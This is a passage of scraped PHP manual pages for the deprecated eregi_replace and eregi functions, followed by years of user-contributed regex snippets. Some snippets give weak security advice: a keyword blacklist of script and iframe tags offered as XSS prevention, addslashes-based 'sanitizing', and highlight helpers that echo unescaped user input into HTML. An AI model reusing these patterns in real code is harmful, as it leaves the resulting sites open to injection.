."([A-PR-UWYZ][A-HK-Y][0-9][ABEHMNPRVWXY]))))"
."[0-9][ABD-HJLNP-UW-Z]{2})$", $postcode))
    return $postcode;
  else
    return FALSE;
}
?>
'morgan'.'galpin'.chr(64).'gmail'.'.com' 11-May-2006 01:16
Try this version instead of the one previously posted.

<?php
  /**
    Returns an array containing each of the sub-strings from text that
    are between openingMarker and closingMarker. The text from
    openingMarker and closingMarker are not included in the result.
    This function does not support nesting of markers.
  */
  function returnSubstrings($text, $openingMarker, $closingMarker) {
    $openingMarkerLength = strlen($openingMarker);
    $closingMarkerLength = strlen($closingMarker);

    $result = array();
    $position = 0;
    while (($position = strpos($text, $openingMarker, $position)) !== false) {
      $position += $openingMarkerLength;
      if (($closingMarkerPosition = strpos($text, $closingMarker, $position)) !== false) {
        $result[] = substr($text, $position, $closingMarkerPosition - $position);
        $position = $closingMarkerPosition + $closingMarkerLength;
      }
    }
    return $result;
  }

  // Example:
  $exampleText = "<b>bonjour</b> à tous, <b>comment</b> allez-vous ?";
  $result = returnSubstrings($exampleText, "<b>", "</b>");
  var_export($result);

  // Prints:
  // array (
  //   0 => 'bonjour',
  //   1 => 'comment',
  // )
?>
info at orgied dot com 21-Mar-2006 06:54
Here's a function i've created to return an array of each substring searched in a string.

<?
function Return_Substrings($text, $sopener, $scloser)
                {
                $result = array();

                $noresult = substr_count($text, $sopener);
                $ncresult = substr_count($text, $scloser);

                if ($noresult < $ncresult)
                        $nresult = $noresult;
                else
                        $nresult = $ncresult;

                unset($noresult);
                unset($ncresult);

                for ($i=0;$i<$nresult;$i++)
                        {
                        $pos = strpos($text, $sopener) + strlen($sopener);

                        $text = substr($text, $pos, strlen($text));

                        $pos = strpos($text, $scloser);

                        $result[] = substr($text, 0, $pos);

                        $text = substr($text, $pos + strlen($scloser), strlen($text));
                        }

                return $result;
                }
?>

Example :

<?
    $string = "<b>bonjour</b> à tous, <b>comment</b> allez-vous ?";

    $result = Return_Substrings($string, "<b>", "</b>");
?>
psonice (aat) gmail.com 14-Mar-2006 01:39
I wanted a more strict check for UK postcodes, and decided to do it by stripping all whitespace then using ereg:

<?php
$pcode=str_replace(" ","",$in_post_code);
if (!ereg('^[a-zA-Z]{1,2}[0-9]{1,2}[a-zA-Z]{0,1}[0-9]{1}[a-zA-Z]{2}$', $pcode))
{
    return false;
}
?>

Probably could be improved, as I've just started, but it matches everything listed on the post office spec.
ar_cat at shaw dot ca 14-Dec-2005 03:13
I had problem using is_numeric() to verify if user inputs is a number (including optional floating sign and decimals).  Instead I found this expression from http://www.regular-expressions.info/floatingpoint.html and modified it for a bit.

^[+-]?[0-9]*\.?[0-9]+$

/*
3.55      true
-3.55     true
+3.55    true
2456.90  true
34skd    false
23.      false
2dt6      false
*/

Note: mine doesn't have the exponent part; for matching number with exponents, visit the site above :)
net_navard at yahoo dot com 15-Nov-2005 07:35
Hello

I think this is not clear:

"the matches will be stored in the elements of the array regs. $regs[1] will contain the substring which starts at the first left parenthesis; $regs[2] will contain the substring starting at the second, and so on. $regs[0] will contain a copy of the complete string matched. "

Beacause By "substring," it means the string contained within the parenthesis.

But in that statement it isn't so clearly

With regards

Amir Hossein Estakhrian
Jason Smart knarlin at yahoo dot com dot au 16-Oct-2005 01:13
A common mistake seems to be trying to escape characters within a bracket
expression. Unlike the preg functions, backslash is always taken literally
within a bracket expression using the ereg functions. See
http://php.planetmirror.com/manual/en/function.eregi.php#57824
for more details.

Some of the posts here can be re-written to be much simpler.

16-Feb-2005 10:02
attempts to allow square brackets in a string with
^[a-zA-Z0-9 [.[.] [.].] ]{1,}$
Although this appears to work a less confusing means is
^[]a-zA-Z0-9[]{1,}$
The ] has to be the first character (after a possible ^) but the [ can be
anywhere as long as it is not in the middle of a range of course.

09-Apr-2005 11:52
Says that ereg("hi[:space:]*bob", $string)
doesnt work in php 4 and to use preg_match() instead.

The above quoted use is incorrect it should be
<?php ereg("hi[[:space:]]*bob", $string); ?>

I tested this with the following in php 4.3.3 and it works fine
<?php
//The hex codes are space, tab, line feed, vertical tab, form feed, carriage return
 $whitespace = "\x20\x09\x0a\x0b\x0C\x0d";
 $teststring = "hi".$whitespace."bob";
 $result = ereg ("hi[[:space:]]*bob", $teststring, $arr);
echo ('Matches '.$result.' characters');
//Prints Matches 11 characters
?>

23-May-2005 08:22
Says that ereg("^[' A-Za-Z]+$", $cardName); will not work.

The fault with the above is the range a-Z the capital Z comes before small a
and so this will fail. The following works fine
<?php
$cardname = "John 'Doe'";
$result = ereg("^[' A-Za-z]+$", $cardname, $arr);
echo ('Matches '.$result.' characters');
//Prints Matches 10 characters
?>

09-Sep-2005 11:01
Tries to escape with \ in a bracket expression
You cannot with ereg functions (preg you can) so
ereg("^([-a-zA-Z0-9_\.\!@#\$&\*\+\=\|])*$" , $var)
should be
<?php ereg("^([-a-zA-Z0-9_.!@#$&*+=|])*$", $var); ?>
Joel Weierman 22-Jun-2005 12:56
While this is relatively simple example, I was unable find a clean method of doing this anywhere else, so I thought I would post it here.

As part of a file upload package, I wanted to prevent the uploading of double byte character filenames and other special ASCII characters that may not work well on a Windows and/or Linux system. Here is the statement I ended up using which seems to have done the trick.

ereg("[^a-zA-Z0-9._-]", $file_name)
php at REMOVEMEkennel17 dot co dot uk 26-Apr-2005 07:00
After a lot of hard work I managed to create the following regular expression, which matches any HTML tag pair (i.e. opening and closing tag), as specified by tagname:

^(.*)(<[ \n\r\t]*tagname(>|[^>]*>))(.*)(<[ \n\r\t]*/[ \n\r\t]*tagname(>|[^>]*>))(.*)$

The expression is deliberately very forgiving of bad HTML - I wanted to match anything that could be reasonably accepted by a forgiving browser, rather than make it standards compliant. Whitespace is allowed between the tagname and the opening and closing tag symbols, and also between the / and the tagname for the closing tag.

For my own use, I have wrapped it in a function call, which you may find useful.  Here it is with a few notes. I hope somebody finds it useful.

- Mark Clements

<?php

function ereg_MatchedHTMLTags($tagname) {
    return "^(.*)(<[ \\n\\r\\t]*$tagname(>|[^>]*>))(.*)(<[ \\n\\r\\t]*/[ \\n\\r\\t]*$tagname(>|[^>]*>))(.*)$";
}

// Use with eregi to ensure case-insensitive match.
//        e.g. to split an HTML page based on body tag:
//             eregi(ereg_MatchedHTMLTags('body'), $Source, $Matches)

// The following values will be held in $Matches
//(marked values are unintended byproducts of the expression)
//           *[0] - the entire string ($Source).
//            [1] - everything before the opening tag
//            [2] - the opening tag, including all contents (i.e. everything between < and >)
//           *[3] - the opening tag from end of the tag name,
//                      e.g. '<body bgcolor="#000000">' gives ' bgcolor="#000000">'
//            [4] - the tag contents (everything between the opening and closing tag)
//            [5] - the complete closing tag.
//           *[6] - the closing tag from the end of the tag name
//                      e.g. '</body invalid text>' gives ' invalid text>'
//            [7] - everything after the closing tag.

?>
ereg_replace
eregi_replace
POSIX Regex Functions


Replace regular expression case insensitive

ereg
eregi
POSIX Regex Functions
PHP Manual

eregi_replace

(PHP 4, PHP 5)

eregi_replace — Replace regular expression case insensitive

Description

string eregi_replace ( string $pattern , string $replacement , string $string )

This function is identical to ereg_replace() except that this ignores case distinction when matching alphabetic characters.

Warning

This function has been DEPRECATED as of PHP 5.3.0. Relying on this feature is highly discouraged.

Parameters

pattern

A POSIX extended regular expression.

replacement

If pattern contains parenthesized substrings, replacement may contain substrings of the form \\digit, which will be replaced by the text matching the digit'th parenthesized substring; \\0 will produce the entire contents of string. Up to nine substrings may be used. Parentheses may be nested, in which case they are counted by the opening parenthesis.

string

The input string.

Return Values

The modified string is returned. If no matches are found in string, then it will be returned unchanged.

Examples

Example #1 Highlight search results

<?php
$pattern = '(>[^<]*)('. quotemeta($_GET['search']) .')';
$replacement = '\\1<span class="search">\\2</span>';
$body = eregi_replace($pattern, $replacement, $body);
?>

Notes

Note:

As of PHP 5.3.0, the regex extension is deprecated in favor of the PCRE extension. Calling this function will issue an E_DEPRECATED notice. See the list of differences for help on converting to PCRE.

See Also

  • ereg() - Regular expression match
  • eregi() - Case insensitive regular expression match
  • ereg_replace() - Replace regular expression
  • preg_replace() - Perform a regular expression search and replace

User Contributed Notes

dave at bevhost dot com 06-Jan-2012 12:22
The easiest function to replace this with is mb_eregi_replace(),
which is the mutibyte version that works on unicode characters such as chinese letters in your strings.
jgriggs777 at yahoo dot com 06-Jun-2008 07:26
My apologies.  I'm a PHP newbie and the count function didn't work right if you have more than one "keyword".  I searched and spent a long time to get this to work right, so wanted to share it.

This is very easy to use by doing the following.

$text - is the text to search
$words - are the words to highlight (search text)
$the_place - is so that you can tell your users what "area" was searched.

<?php

function highlight_this($text, $words, $the_place) {
    $words = trim($words);
    $the_count = 0;
    $wordsArray = explode(' ', $words);
        foreach($wordsArray as $word) {
         if(strlen(trim($word)) != 0)

         //exclude these words from being replaced
         $exclude_list = array("word1", "word2", "word3");
        // Check if it's excluded
        if ( in_array( strtolower($word), $exclude_list ) ) {

        } else {
            $text = str_ireplace($word, "<span class=\"highlight\">".strtoupper($word)."</span>", $text, $count);
            $the_count = $count + $the_count;
            }

    }
    //added to show how many keywords were found
    echo "<br><div class=\"emphasis\">A search for <strong>" . $words. "</strong> found <strong>" . $the_count . "</strong> matches within the " . $the_place. ".</div><br>";

    return $text;
}

//example of how to use
$text_to_highlight = highlight_this($text_to_highlight, $search_text, "Place you searched");

?>
jgriggs777 at yahoo dot com 05-Jun-2008 12:56
I modified the script from the note below this one so that you could show how many matches were found.  I know this should probably be posted in the str_ireplace() area, so I will post it there afterwards.

$text - is the text to search
$words - are the words to highlight (search text)
$the_place - is so that you can tell your users what "area" was searched.

<?php
function highlight_this($text, $words, $the_place) {
    $words = trim($words);
    $wordsArray = explode(' ', $words);
    foreach($wordsArray as $word) {
        if(strlen(trim($word)) != 0)
            $text = str_ireplace($word, "<span class=\"highlight\">".strtoupper($word)."</span>", $text, $count);
    }
    //added to show how many keywords were found
    echo "<br><div class=\"emphasis\">A search for <strong>" . $words. "</strong> found <strong>" . $count . "</strong> matches within the " . $the_place. ".</div><br>";

    //end script modification
    return $text;
}
?>
a dot dotreppe at gmail dot com 20-May-2008 03:49
Hi everyone.
I saw a lot of highlighting functions, but no one was simple... maybe I missed a part of discussion ?

Anyway, I think this function is the easiest:

<?php
function highlight($text, $words) {
    $words = trim($words);
    $wordsArray = explode(' ', $words);
    foreach($wordsArray as $word) {
        if(strlen(trim($word)) != 0)
            $text = eregi_replace($word, '<span class="highlight">\\0</span>', $text);
    }
    return $text;
}
?>
dan at dotgospel dot com 22-Feb-2008 07:30
/*******************************************************
Function highlights the text. You can replace the html tags with whatever you like. $x is the string, $var is the string to be highlighted. We explode the string to highlight more than one word.
*/

function highlight($x,$var) {
    $var = explode(" ",$var);

   for($j=0; $j< count($var); $j++){
        $xtemp = "";
        $i=0;
        while($i<strlen($x)){
            if((($i + strlen($var[$j])) <= strlen($x)) && (strcasecmp($var[$j], substr($x, $i, strlen($var[$j]))) == 0)) {
                    $xtemp .= "<b>" . substr($x, $i , strlen($var[$j])) . "</b>";
                    $i += strlen($var[$j]);
            }
            else {
                $xtemp .= $x{$i};
                $i++;
            }
        }
        $x = $xtemp;
    }
    return $x;
}
mp3spl at o2 dot pl 23-Dec-2007 04:40
Nice way to highlight that what someone search.

For example is some one search for "Wire Mobile 6"

It will highlight every word separated even if found "Wire Xp and some mobile stuff"

© and ® are importiant, because without special signs, string in second turn will convert also <span class="searchtext">
which will be already in text.

<?

$searchcolor = explode(' ',$search);
$ilosc = count($searchcolor);
$ilosc2 = "0";
while ($ilosc2 != $ilosc ) {
$name = eregi_replace ($searchcolor[$ilosc2],'©'.$searchcolor[$ilosc2].'®',$name);
$ilosc2++;
        }
$name = str_replace('©','<span class="searchtext">',$name);
$name = str_replace('®','</span>',$name);

echo $name;

?>
augusto at fagioli dot biz 21-Dec-2007 12:50
related to the private at sfiac dot net function,
please note that you  can add a dot in the

$c=ereg_replace".
   "("[-a-z0-9!#$%&\'*+/=?^_`{|}~]+@([.]?[a-zA-Z0-9_/-])*",".
   "$e,$c);

having it to find email address like user.name@test.com

this is my example
$c=ereg_replace".
   "("[-a-z0-9.!#$%&\'*+/=?^_`{|}~]+@([.]?[a-zA-Z0-9_/-])*",".
   "$e,$c);
webmaster at hhgroups dot com 28-Nov-2007 01:24
Your remove links functions are incorrect if there are a php var in the URL, we have to add '?' character inside our pattern, I have three this function working correctly with php vars:

function transformUrl($str){
    $str=utf8_decode(urldecode($str));
    $str=eregi_replace("(^| |>)(www([.]?[a-zA-Z0-9_/-?])[^<]*)", "\\1<a href=\"http://\\2\">Look link</a>", $str);
    $str=eregi_replace("(^| |>)(http://www([.]?[a-zA-Z0-9_/-?])[^<]*)", "\\1<a href=\"\\2\">Look link</a>", $str);
    $str=eregi_replace("(^| |>)(http://([.]?[a-zA-Z0-9_/-?])[^<]*)", "\\1<a href=\"\\2\">Look link</a>", $str);
    return utf8_encode($str);
}
ash at atomic-network dot co dot uk 31-Aug-2007 02:46
@bluedragonx at gmail dot com
true but then use of the case insensitive version,
will correct this.

<?php

$_POST['email'] = str_ireplace("@", "[at]", $_POST['email']);

?>
php[at]drixe[dot]net 24-Jun-2007 12:49
Melissa,
This one is a better setup for your marvelous code.
It handles Melissa Magic and also Magic Melissa

function underline($subject, $word)
        {
        $mywords = explode(" ",$word);
        for ($j=0;$j<count($mywords);$j++)
            {
            $regex_chars = '\.+?(){}[]^$';
            for ($i=0; $i<strlen($regex_chars); $i++)
                {
                $char = substr($regex_chars, $i, 1);
                $mywords[$j] = str_replace($char, '\\'.$char, $mywords[$j]);
                }
            $mywords[$j] = '(.*)('.$mywords[$j].')(.*)';
            $subject =  eregi_replace($mywords[$j], '\1<span style="background:#ACA;padding:0;margin:0;">\2</span>\3', $subject);
            }
        return $subject;
        }
spiritualmind at gmail dot com 11-Jun-2007 08:19
eregi_replace seems not to deal with UTF8 chars !
I needed to utf8_decode / encode my string to parse it in eregi_replace :

<?php
  $input = "string_from_utf8_form" ;
  $output = utf8_encode(eregi_replace("(pattern)", "replacement", utf8_decode($input)) ;

 echo $output ;
?>

I think UTF8 is not totally supported by PHP.
Vladimir Luchaninov 22-Oct-2006 07:38
If you have plain text e-mails and links but need to make them real links

<?
function replaceLinks($text) {
    // convert support@pogoda.in into
    // <a href="mailto:support@pogoda.in">
    // support@pogoda.in</a>
    $text = ereg_replace('[-a-z0-9!#$%&\'*+/=?^_`{|}~]+@([.]?[a-zA-Z0-9_/-])*',
        '<a href="mailto:\\0">\\0</a>',$text);

    // convert http://www.pogoda.in/new_york/eng/ into
    // <a href="http://pogoda.in/new_york/eng/">
    // pogoda.in/new_york/eng/</a>
    $text = ereg_replace('[a-zA-Z]+://(([.]?[a-zA-Z0-9_/-])*)',
        '<a href="\\0">\\1</a>',$text);

    // convert www.pogoda.in/new_york/eng/ into
    // <a href="http://www.pogoda.in/new_york/eng/">
    // www.pogoda.in/new_york/eng/</a>
    $text = ereg_replace('(^| )(www([-]*[.]?[a-zA-Z0-9_/-?&%])*)',
        ' <a href="http://\\2">\\2</a>',$text);

    return $text;
}
?>
private at sfiac dot net 08-Sep-2006 08:44
# I was looking to remove all email address and links from post
# for a non-commercial posting website (like forum or classifieds)

# The function

<?PHP
function verify_email_and_link_in_post($c){
 # modify email addess and link with this:
 $l="LINKS ARE PROHIBITED ON THIS WEBSITE";
 $e="EMAIL ADDRESS ARE PROHIBITER ON THIS WEBSITE";
 # check for email address
 $c=ereg_replace".
   "("[-a-z0-9!#$%&\'*+/=?^_`{|}~]+@([.]?[a-zA-Z0-9_/-])*",".
   "$e,$c);
 # replace all sign @ with the letters at
 $c=ereg_replace".
   "("@", " at ",$c);
 # check for link HTML input
 $c=eregi_replace".
   "('(<a [^<]*href=["|\']?([^ "\']*)["|\']?[^>].*>([^<]*)</a>)',".
   "$l,$c);
 # check for anythink like http:// or ftp://
 $c=ereg_replace".
   "("[a-zA-Z]+://([.]?[a-zA-Z0-9_/-])*",".
   "$l,$c);
 # check for anyhting starting with www.
 $c=ereg_replace".
   "("(^| )(www([-]*[.]?[a-zA-Z0-9_/-?&%])*)",".
   "$l,$c);
 # finaly check for anything like a-z.a-z
 $c=ereg_replace".
   "("[-a-z0-9!#$%&\'*+/=?^_`{|}~]+[.]+[-a-z0-9]",".
   "$l,$c);
 return $c;
}
?>
# hope this help someone ;-)
carlos at braziland dot com 15-May-2006 05:11
@bluedragonx at gmail dot com: Now you're calling two functions instead of one. I'm trully curious if that would still be faster.

My original post was just to highlight the need to escape characters that could be used to abuse a contact form. Something everyone should do, especially if doing it for a customer.

But bluedragonx, thanks for your input.
melissa at melissagirl dot com 14-Apr-2006 09:28
Here's a nice case-insensitive highlight function that ignores any regular expression characters and highlights a word and leaves it in whatever case it was before:

<?
function highlight($word, $subject) {
    $regex_chars = '\.+?(){}[]^$';
    for ($i=0; $i<strlen($regex_chars); $i++) {
        $char = substr($regex_chars, $i, 1);
        $word = str_replace($char, '\\'.$char, $word);
    }
    $word = '(.*)('.$word.')(.*)';
    return eregi_replace($word, '\1<span class="highlight">\2</span>\3', $subject);
}
?>
02-Nov-2005 03:06
@bluedragonx: You're right. And i got the order of the params wrong as well, must've been sleepy when i wrote that note. For what it's worth:

<? $_POST['email'] = str_replace("[at]", "@", strtolower($_POST['email'])); ?>

Not similar to Carlos' code though, since it'll convert all characters to lowercase.
bluedragonx at gmail dot com 16-Oct-2005 04:42
Actually that wouldn't work because str_replace is case sensitive.  So any instances of [AT] [aT] or [At] would be ignored.
php dot net at nr78 dot net 08-Aug-2005 05:36
@carlos at braziland dot com: Hate to be a wisecrack, but i believe the following code might be slightly faster with the same result:

<?php

$_POST['email'] = str_replace("@", "[at]", $_POST['email']);

?>
carlos at braziland dot com 31-Jul-2005 12:54
So here is my answer to those who are trying to submit headers through my simple contact form:

$any_form_field = eregi_replace("@","[at]",$_POST['just_one_field']); //how can anyone send emails to other email addresses without the @ symbol :)

My suggestion is to do a foreach loop in the $_POST array and remove the @ symbol from all fields (unless you want one of the fields to have the @ symbol, in which case it should be very careful and question if the symbol is necessary).

Not the best solution, but it's simple and it works.
joltmans at amersel dot com 01-Mar-2005 11:06
PHP's Regex engine differs from several others in its treatment of parsing spaces.

In many Regex languages '\s' denotes a space.
PHP does not recognize '\s', just type a space ' ' instead.

This simple example illustrates the problem:
<?php
    $string = "A sentence with   spaces";
    if (eregi("with\s*spaces", $string))
    {
        // Will never print
        echo "PHP understood \s";
    }
    else
    {
        // Will always print
        echo "PHP doesn't understand \s";
    }
?>

This example does work:
<?php
    $string = "A sentence with   spaces";
    if (eregi("with *spaces", $string))
    {
        // Will print
        echo "PHP understood ' '";
    }
?>
27-Jan-2005 08:15
never mind my last post for the eregi_replace not replacing.

I just used str_replace instead and it works fine.  I must have had something wrong with my search string.  POSIX, Perl.. hmm.. yeah probably something there.

Mettedraq / Gene
Ausvald 19-Jun-2004 04:21
Zach Johnson missed up. ereg* funcs use posix regex, not the rfc one
furiousgreencloud at yahoo dot com 17-Jun-2004 08:47
To simply convert wild input into a sensable sting, say for a filename I use:

function cleanString($wild) {
    return ereg_replace("[^[:alnum:]+]","",$wild);
}

echo cleanString("@#$&*$@#H~e'{}l{}l<o\{}"); // outputs: Hello
e dot boeters at planet dot nl 03-Jun-2004 04:46
This is a 'faster' way to highlight search results:

$content = str_replace($query, "<span class=\"highlight\">" . $query . "</span>", $content);
julien at ratatouille dot com dot fr 24-Nov-2003 06:28
This function replace < and > symbols between <code> and </code> tags by html code for lower than (&lt;) and greather than (&gt;) elements.

function retourne_format_code($texte)
{
    $tablo=split("<code>",$texte);
    $texte="";
    $texte.=$tablo[0];
    foreach($tablo as $cle=>$valeur)
    {
        if(eregi("</code>",$valeur))
        {
            $tablo1=split("</code>",$valeur);
            $tablo1[0]=eregi_replace("<","&lt;",$tablo1[0]);
            $tablo1[0]=eregi_replace(">","&gt;",$tablo1[0]);
            foreach($tablo1 as $cle1=>$valeur1)
            {
                if($cle1==0)
                    $valeur1="<code>".$valeur1."</code>";
                $texte.=$valeur1;
            }
        }
    }
    return $texte;
}
martin_goldmann at gmx dot net 18-Nov-2003 12:43
After reading the last message I wrote that de-spamizer:

function despamMailURI($myStrMail='')
{
    ?>javascript:void(location.href='mailto:'+<?=eregi_replace( "^([_\.0-9a-z-]+)@([0-9a-z][0-9a-z-]+)\.([a-z]{2,6})$", "'\\1'+'@'+'\\2'+'.'+'\\3'",$myStrMail)?>)<?
}

Usage example:
<a href="<?=despamMailURI("user@foo.bar")?>">Mail me</a>
iparanoid at gmx dot de 23-Aug-2003 09:03
To obtain the an email addresse in the scheme user at host dot use following function

function antispam_mail($mail) {
    return eregi_replace( "^([_\.0-9a-z-]+)@([0-9a-z][0-9a-z-]+)\.([a-z]{2,6})$", '\\1 at \\2 dot \\3',$mail );
};

Combined with a wee JavaScript (document.location='mailto:'+user+'@'+host+'.'+tld) this provides a very powerfull anti-spam mechanism while providing full mailto: link functionality.
chpins-php at romu92 dot freesurf dot fr 02-Jun-2003 04:15
/*new function for href2text : */

function AHREF2text($string) {
 return eregi_replace('(<a [^<]*href=["|\']?([^ "\']*)["|\']?[^>].*>([^<]*)</a>)','[\\3] (link: \\2)', $string);
}

// by Ch'Pins
buddy at directpay dot cz 14-May-2003 10:22
i had to solve problem conserning DB2 timestamp format. here is how to parse ANSI timestamp format to DB2 timestamp format:

$mydate = Date("Y-m-d H:i:s");

$var = eregi_replace
("([0-9]{4}-[0-9]{2}-[0-9]{2}) ([0-9]{2}):([0-9]{2}):([0-9]{2})"
,"\\1-\\2.\\3.\\4",$mydate);

echo "ANSI: $mydate, DB2 format: $var";

happy codding
buddy
eder at xce dot de 03-May-2003 07:23
/*As php at silisoftware dot com's example works only if there is not more than one link in $string, I rewrote his expression to function with strings containing multiple links: */

function AHREF2text($string) {
  return eregi_replace('(<a [^<]*href=["|\']?([^ "\']*)["|\']?[^>]*>([^<]*)</a>)','[\\3] (link: \\2)', $string);
}
Rainmaker526 at hotmail.com 09-Mar-2003 07:02
I have found that some characters cannot be used by eregi_replace (or ereg_replace). When you get the REG_BADRPT error, try backslashing any special chars in your pattern string

ex.
$str = eregi_replace("*", "", $somevar)

gives the REG_BADRPT error. Change it to
$str = eregi_replace("\*", "", $somevar)

to make it work
php at silisoftware dot com 18-Feb-2003 11:08
Transform HTML links into plain-text "links" with the URL visible

function AHREF2text($string) {
    return eregi_replace('<A .*HREF=("|\')?([^ "\']*)("|\')?.*>([^<]*)</A>', '[\\4] (link: \\2)', $string);
}

$HTMLstring = 'A link to <a href="http://www.php.net">PHP.net</A>';
echo AHREF2text($HTMLstring);
// prints:  A link to [PHP.net] (link: http://www.php.net)
simon_a99 at yahoo dot co dot uk 27-Aug-2002 12:07
To find a string regardless of case, you might want to use the matched string in the replacement string without changing its case.

For example, you're searching for $search = "letter" and the text being searched is $text = "post lEtTeR".  I want to change the format of the matched string.

Do this:
eregi_replace($search, "<b>\\0</b>", $text);

$text has now been changed to "post <b>lEtTeR</b>".  \\0 is the entire text matched (lEtTer in this case).
ereg
eregi
POSIX Regex Functions


Case insensitive regular expression match

eregi_replace
split
POSIX Regex Functions
PHP Manual

eregi

(PHP 4, PHP 5)

eregi — Case insensitive regular expression match

Description

int eregi ( string $pattern , string $string [, array &$regs ] )

This function is identical to ereg() except that it ignores case distinction when matching alphabetic characters.

Warning

This function has been DEPRECATED as of PHP 5.3.0. Relying on this feature is highly discouraged.

Parameters

pattern

Case insensitive regular expression.

string

The input string.

regs

If matches are found for parenthesized substrings of pattern and the function is called with the third argument regs, the matches will be stored in the elements of the array regs.

$regs[1] will contain the substring which starts at the first left parenthesis; $regs[2] will contain the substring starting at the second, and so on. $regs[0] will contain a copy of the complete string matched.

Return Values

Returns the length of the matched string if a match for pattern was found in string, or FALSE if no matches were found or an error occurred.

If the optional parameter regs was not passed or the length of the matched string is 0, this function returns 1.

Examples

Example #1 eregi() example

<?php
$string = 'XYZ';
if (eregi('z', $string)) {
    echo "'$string' contains a 'z' or 'Z'!";
}
?>

Notes

Note:

As of PHP 5.3.0, the regex extension is deprecated in favor of the PCRE extension. Calling this function will issue an E_DEPRECATED notice. See the list of differences for help on converting to PCRE.

See Also

  • ereg() - Regular expression match
  • ereg_replace() - Replace regular expression
  • eregi_replace() - Replace regular expression case insensitive
  • preg_match() - Perform a regular expression match
  • stripos() - Find the position of the first occurrence of a case-insensitive substring in a string
  • stristr() - Case-insensitive strstr

User Contributed Notes

Pallieter 11-Feb-2011 12:09
Too many email regexps get it wrong and limit the ability of people to use many valid email addresses. Plus there is active/serious discussion on many websites about what actually is a valid email address. So filter_var($email, FILTER_VALIDATE_EMAIL) should be used (although not perfect yet) or a very complete function like http://code.google.com/p/isemail/ for the simple reason that they are maintained to conform to the latest state of affairs.
info at o08 dot com 14-Apr-2010 09:12
because eregi is not recommended after php 5, you can replaced it with stristr if just for simple search.

For editors with regular express function:
eregi\(([^,]*),([^)]*)\)
stristr(\2,\1)
julia_kean25 at yahoo dot com 10-Feb-2009 02:15
I use this in my app_config.php file to sanitize each request:

<?php
// app_config.php

    /**
    *    SANITIZE REQUEST
    */

    function sanitize_request($methods, $array)
    {
        // methods: trim ; addslashes ; stripslashes ; etc...
        // array : $_GET ; $_POST ; etc...

        foreach ($methods as $function) {
            $array = array_map($function, $array);
        }
        return $array;
    }

    if ( ! get_magic_quotes_gpc() )
    {
        $methods = array('trim', 'addslashes');
        $_GET = sanitize_request($methods, $_GET);
        $_POST = sanitize_request($methods, $_POST);
        $_COOKIE = sanitize_request($methods, $_COOKIE);
        $_REQUEST = sanitize_request($methods, $_REQUEST);
    }
?>

it currently only trims and adds slashes to the request but it would be nice to have the possibility to add the striptags function too.
jrgpmaster at gmail dot com 13-Sep-2008 01:04
Here is a simple way of checking if the visitor if your page is a search engine or a normal person. It does this by checking if the user agent returned by $_SERVER['HTTP_USER_AGENT'] contains one of the keywords search engine's user agents usually contain.

<?php

    //check if user is a bot of some sort
function is_bot()
{
    $bots = array('google','yahoo','msn');
    //takes the list above and returns (google)|(yahoo)|(msn)
    $regex = '('.implode($bots, ')|(').')';
    /*uses the generated regex above to see if those keywords are contained in the user agent variable*/
    return eregi($regex, $_SERVER['HTTP_USER_AGENT']);
}

?>
sumit270 at gmail dot com 12-Jun-2008 09:45
Prevent XXS attack

<?php
// Prevent any possible XSS attacks via $_GET.
foreach ($_GET as $check_url) {
    if ((eregi("<[^>]*script*\"?[^>]*>", $check_url)) || (eregi("<[^>]*object*\"?[^>]*>", $check_url)) ||
        (eregi("<[^>]*iframe*\"?[^>]*>", $check_url)) || (eregi("<[^>]*applet*\"?[^>]*>", $check_url)) ||
        (eregi("<[^>]*meta*\"?[^>]*>", $check_url)) || (eregi("<[^>]*style*\"?[^>]*>", $check_url)) ||
        (eregi("<[^>]*form*\"?[^>]*>", $check_url)) || (eregi("\([^>]*\"?[^)]*\)", $check_url)) ||
        (eregi("\"", $check_url))) {
    die ();
    }
}
unset($check_url);
?>
Jeff Morris 30-May-2008 11:06
Email Address RegEx -- The Final Frontier?

Inspired by bobocop's stalwart effort. Cheers for that matey!

Contrary to most folks' expectation, a quoted @ character is permitted in the
local part of an email address. So strictly speaking bobocop's test result for
'@exam@exam.com' is ...inconclusive?

The RFC prohibits control characters in the address. So it's no coincidence
that most header-related exploits try to inject control characters into the
fields sent to the server. If we're validating client-side, we need to ensure
user input is restricted to the printable code set. And in the spirit of not
trusting anything inbound, we need to filter again server-side. It's handy
to have the same regex working at both ends.

My variant of bobocop's regex is listed below. Note the mask for the local
part matches any printable character *excluding the dot*. The dot is reserved
as a label separator. Bobocop's regex enforces that role while ensuring the
local part does not start or end with a dot.

Outside of the 7-bit ASCII and dot rules, the RFC says 'anything goes' in the
local part. Them's the breaks folks.

All we need to realise is that our endeavours are limited, and the nearest
we'll get to validating an email address is finding an MX record in DNS.
Whatever, don't go probing mail servers with test emails, you might get more
than you bargained for. That's sp@mmer territory, that is.
If you want to positively vet a mail server, consider running a check against
sbl-xbl.spamhaus.org. Search for the checkdnsrr function page on this site and
read the comments for good info.

Anyhoo, here's the modded regex builder:

//the variables
$local            = '[\x20-\x2D\x2F-\x7E]';
$alnum            = 'a-z0-9';
$domain            = "([$alnum]([-$alnum]*[$alnum]+)?)";

//the array
$arr            = array();
$arr['start']    = '^';
$arr['local']    = "$local+(\.$local+)*";
$arr['at']        = '@';
$arr['domain']    = "($domain{1,63}\.)+";
$arr['tld']        = "[$alnum]{2,6}";
$arr['end']        = '$';

//the regex
$regex            = implode('',$arr);

/**

$regex evaluates to:

^[\x20-\x2D\x2F-\x7E]+(\.[\x20-\x2D\x2F-\x7E]+)*@
(([a-z0-9]([-a-z0-9]*[a-z0-9]+)?){1,63}\.)+[a-z0-9]{2,6}$

(regex split into 2 lines due to line length limits)

Add virgules front and back for the javascript equivalent.

I'm running this in an AJAX app right now and it does what it says on the tin.

If you're uncomfortable with the character length limits on domain and tld
names, change them to taste.

**/
ted devito 02-May-2008 04:29
RE: validate a url
--------------------
based on "ian at hyperborea dot co dot uk" below...
original date: 10-Nov-2004 03:15

I added a test for http(s?) and ftp as well as a trailing slash on urls that don't specify a page.

now it allows...
http://test.com/
https://www.test.com

$domain = "(http(s?):\/\/|ftp:\/\/)*([[:alpha:]][-[:alnum:]]*[[:alnum:]])
    (\.[[:alpha:]][-[:alnum:]]*[[:alpha:]])+";
$dir = "(/[[:alpha:]][-[:alnum:]]*[[:alnum:]])*";
$trailingslash  = "(\/?)";
$page = "(/[[:alpha:]][-[:alnum:]]*\.[[:alpha:]]{3,5})?";
$getstring = "(\?([[:alnum:]][-_%[:alnum:]]*=[-_%[:alnum:]]+)
    (&([[:alnum:]][-_%[:alnum:]]*=[-_%[:alnum:]]+))*)?";
